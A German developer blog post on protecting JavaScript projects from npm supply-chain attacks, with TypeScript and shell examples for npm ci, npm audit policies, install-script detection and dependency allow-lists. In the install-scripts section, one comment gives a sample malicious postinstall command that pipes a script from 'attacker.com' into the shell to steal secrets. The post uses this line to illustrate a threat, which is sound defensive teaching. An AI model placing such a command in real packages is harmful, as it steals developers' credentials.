Zum Inhalt springen

Sicherheit der Lieferkette für npm-Pakete

Wie du JavaScript-Projekte vor Supply-Chain-Angriffen schützt: Dependency-Audits, Lockfile-Integrität, Typosquatting-Erkennung und CI-Scans.

4 Min. Lesezeit
Abhängigkeitsbaum-Diagramm mit hervorgehobenen anfälligen Paketen in einer Lieferkette

Jede npm install-Ausführung ist ein Vertrauensakt. Du lädst Code herunter, den Fremde geschrieben haben, führst deren Installationsskripte aus und bindest ihre Logik in deine Anwendung ein. Ein durchschnittliches JavaScript-Projekt hat Hunderte transitive Abhängigkeiten. Wird auch nur eine davon kompromittiert, sind deine Anwendung — und deine Nutzer — gefährdet.

Supply-Chain-Angriffe auf npm sind keine Theorie. Der event-stream-Vorfall (2018) schleuste Code zum Diebstahl von Kryptowährung in ein Paket mit Millionen wöchentlichen Downloads ein. Der ua-parser-js-Kompromiss (2021) verteilte Krypto-Miner auf Millionen von Rechnern. Die Sabotage von colors und faker (2022) legte über Nacht Tausende Projekte lahm.

Die Angriffsfläche verstehen

Die npm-Lieferkette bietet mehrere Stellen, an denen ein Angreifer bösartigen Code einschleusen kann. Jeden dieser Vektoren zu verstehen ist der erste Schritt zur Verteidigung.

tstypescript
// The layers of trust in a single npm install
interface SupplyChainAttackVectors {
  // Direct dependency compromise
  directDependency: {
    vector: 'Maintainer account takeover';
    example: 'Attacker gains npm credentials and publishes malicious version';
    mitigation: 'Use lockfiles, enable 2FA, audit maintainers';
  };
 
  // Typosquatting
  typosquatting: {
    vector: 'Package with a similar name to a popular package';
    example: '"lodahs" instead of "lodash"';
    mitigation: 'Review package names carefully, use allow-lists';
  };
 
  // Dependency confusion
  dependencyConfusion: {
    vector: 'Public package with same name as private internal package';
    example: 'npm resolves to public registry instead of private one';
    mitigation: 'Use scoped packages, configure registry mappings';
  };
 
  // Install scripts
  installScripts: {
    vector: 'postinstall/preinstall scripts that execute arbitrary code';
    example: 'Script runs on install, exfiltrates env variables';
    mitigation: 'Use --ignore-scripts, audit scripts before installing';
  };
 
  // Transitive dependencies
  transitive: {
    vector: 'Vulnerability in a dependency of a dependency';
    example: 'Your dep uses a compromised sub-dep you never chose';
    mitigation: 'Deep auditing, lockfile pinning, review transitive tree';
  };
}

Lockfile-Integrität

Die Lockfile (package-lock.json oder yarn.lock) fixiert exakte Versionen und Integritäts-Hashes für jede Abhängigkeit. Ohne sie löst npm install zur Installationszeit einfach die zur Semver-Range passende Version auf — was auch ein gerade erst veröffentlichtes, kompromittiertes Release sein kann.

jsonjson
// package-lock.json entry with integrity hash
{
  "node_modules/lodash": {
    "version": "4.17.21",
    "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
    "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
  }
}
shbash
# ❌ Installing without lockfile verification
npm install                    # Resolves latest matching versions
                               # Could pull a newly-published malicious version
 
# ✅ Installing with lockfile enforcement
npm ci                         # Uses exact versions from lockfile
                               # Fails if lockfile doesn't match package.json
                               # Verifies integrity hashes
tstypescript
// CI pipeline: always use npm ci, never npm install
// .github/workflows/ci.yml equivalent in code
const ciInstallStep = {
  name: 'Install dependencies',
  run: 'npm ci',              // Strict lockfile-based install
  // NOT 'npm install' — that can modify the lockfile
};
 
// Additional lockfile checks
const lockfileAudit = {
  name: 'Verify lockfile integrity',
  steps: [
    'npm ci',                                   // Fails on mismatch
    'git diff --exit-code package-lock.json',   // Ensure no modifications
  ],
};

Automatisiertes Schwachstellen-Scanning

npm audit gleicht installierte Pakete mit der npm-Advisory-Datenbank ab. Wird es in die CI eingebunden, lassen sich bekannte Schwachstellen erkennen, bevor sie in Produktion gelangen.

tstypescript
// Script to run npm audit and parse results programmatically
import { execSync } from 'child_process';
 
interface AuditResult {
  vulnerabilities: Record<string, {
    severity: 'info' | 'low' | 'moderate' | 'high' | 'critical';
    via: string[];
    fixAvailable: boolean;
  }>;
  metadata: {
    vulnerabilities: {
      info: number;
      low: number;
      moderate: number;
      high: number;
      critical: number;
      total: number;
    };
  };
}
 
function runSecurityAudit(): AuditResult {
  try {
    const output = execSync('npm audit --json', {
      encoding: 'utf-8',
    });
    return JSON.parse(output);
  } catch (error: unknown) {
    // npm audit exits with non-zero when vulnerabilities are found
    const execError = error as { stdout: string };
    return JSON.parse(execError.stdout);
  }
}
 
function enforceSecurityPolicy(audit: AuditResult): void {
  const { critical, high } = audit.metadata.vulnerabilities;
 
  // Block deployment on critical or high vulnerabilities
  if (critical > 0) {
    throw new Error(
      `BLOCKED: ${critical} critical vulnerabilities found. Run 'npm audit fix' or review advisories.`
    );
  }
 
  if (high > 0) {
    console.warn(
      `WARNING: ${high} high-severity vulnerabilities found. Review before deploying.`
    );
  }
 
  console.log('Security audit passed');
}
 
const audit = runSecurityAudit();
enforceSecurityPolicy(audit);

Installationsskripte überprüfen

Die Hooks postinstall und preinstall sind die gefährlichste Angriffsfläche in npm. Sie führen während der Installation beliebigen Code aus — noch bevor deine Anwendung überhaupt läuft.

tstypescript
// ❌ Blindly trusting install scripts
// Someone runs: npm install some-package
// That package's postinstall script:
//   curl attacker.com/steal.sh | sh
// Now the attacker has your environment variables, ssh keys, etc.
 
// ✅ Audit install scripts before installing new packages
// Step 1: Check what scripts a package runs
// npm pack some-package && tar -xzf some-package-*.tgz
// cat package/package.json | jq '.scripts'
 
// Step 2: Install with scripts disabled for untrusted packages
// npm install --ignore-scripts some-package
 
// Step 3: If the package needs install scripts, review them first
// npm explore some-package -- cat postinstall.sh
tstypescript
// Automated install script detection in CI
import { readFileSync, readdirSync } from 'fs';
import { join } from 'path';
 
interface PackageScripts {
  packageName: string;
  preinstall?: string;
  install?: string;
  postinstall?: string;
  prepare?: string;
}
 
function findPackagesWithInstallScripts(
  nodeModulesPath: string
): PackageScripts[] {
  const results: PackageScripts[] = [];
  const dirs = readdirSync(nodeModulesPath, { withFileTypes: true });
 
  for (const dir of dirs) {
    if (!dir.isDirectory() || dir.name.startsWith('.')) continue;
 
    const pkgPath = join(nodeModulesPath, dir.name, 'package.json');
    try {
      const pkg = JSON.parse(readFileSync(pkgPath, 'utf-8'));
      const scripts = pkg.scripts ?? {};
 
      if (scripts.preinstall || scripts.install || scripts.postinstall) {
        results.push({
          packageName: pkg.name,
          preinstall: scripts.preinstall,
          install: scripts.install,
          postinstall: scripts.postinstall,
          prepare: scripts.prepare,
        });
      }
    } catch {
      // Skip unreadable packages
    }
  }
 
  return results;
}
 
// Log all packages with install scripts for review
const risky = findPackagesWithInstallScripts('./node_modules');
console.log(`Found ${risky.length} packages with install scripts:`);
for (const pkg of risky) {
  console.log(`  ${pkg.packageName}:`);
  if (pkg.preinstall) console.log(`    preinstall: ${pkg.preinstall}`);
  if (pkg.postinstall) console.log(`    postinstall: ${pkg.postinstall}`);
}

Positivlisten für Abhängigkeiten und Governance

Für Produktivanwendungen empfiehlt es sich, eine explizite Liste freigegebener Abhängigkeiten zu pflegen. Neue Pakete durchlaufen vor der Aufnahme einen Review-Prozess.

tstypescript
// .allowed-dependencies.json — checked in CI
interface DependencyPolicy {
  // Only these packages are allowed as direct dependencies
  allowedDirect: Record<string, {
    maxVersion: string;
    reason: string;
    approvedBy: string;
    approvedDate: string;
  }>;
 
  // Packages that are explicitly banned
  banned: Record<string, {
    reason: string;
    alternative: string;
  }>;
}
 
const policy: DependencyPolicy = {
  allowedDirect: {
    'express': {
      maxVersion: '4.x',
      reason: 'HTTP server framework',
      approvedBy: 'security-team',
      approvedDate: '2022-01-15',
    },
    'zod': {
      maxVersion: '3.x',
      reason: 'Runtime schema validation',
      approvedBy: 'security-team',
      approvedDate: '2022-02-01',
    },
  },
  banned: {
    'request': {
      reason: 'Deprecated, known vulnerabilities',
      alternative: 'Use node-fetch or undici',
    },
  },
};

Die wichtigsten Erkenntnisse

  1. Verwende npm ci in der CI, niemals npm install — die lockfile-basierte Installation verhindert Versionsdrift und verifiziert Integritäts-Hashes
  2. Führe npm audit bei jedem Build aus — blockiere Deployments bei kritischen Schwachstellen und prüfe die mit hohem Schweregrad gesondert
  3. Überprüfe Installationsskripte — nutze --ignore-scripts für nicht vertrauenswürdige Pakete und kontrolliere, welche Skripte während der Installation ausgeführt werden
  4. Achte auf Typosquatting — prüfe Paketnamen sorgfältig, besonders bei beliebten Paketen mit häufigen Tippfehler-Varianten
  5. Pflege eine Dependency-Governance — Positivlisten und Review-Prozesse fangen riskante Ergänzungen ab, bevor sie in die Codebasis gelangen
  6. Fixiere transitive Abhängigkeiten — Lockfiles schützen vor kompromittierten Unterabhängigkeiten, die du nie explizit ausgewählt hast
Wilfredo Rujel

Wilfredo Rujel

Full-Stack-Softwareentwickler

Diesen Beitrag teilenX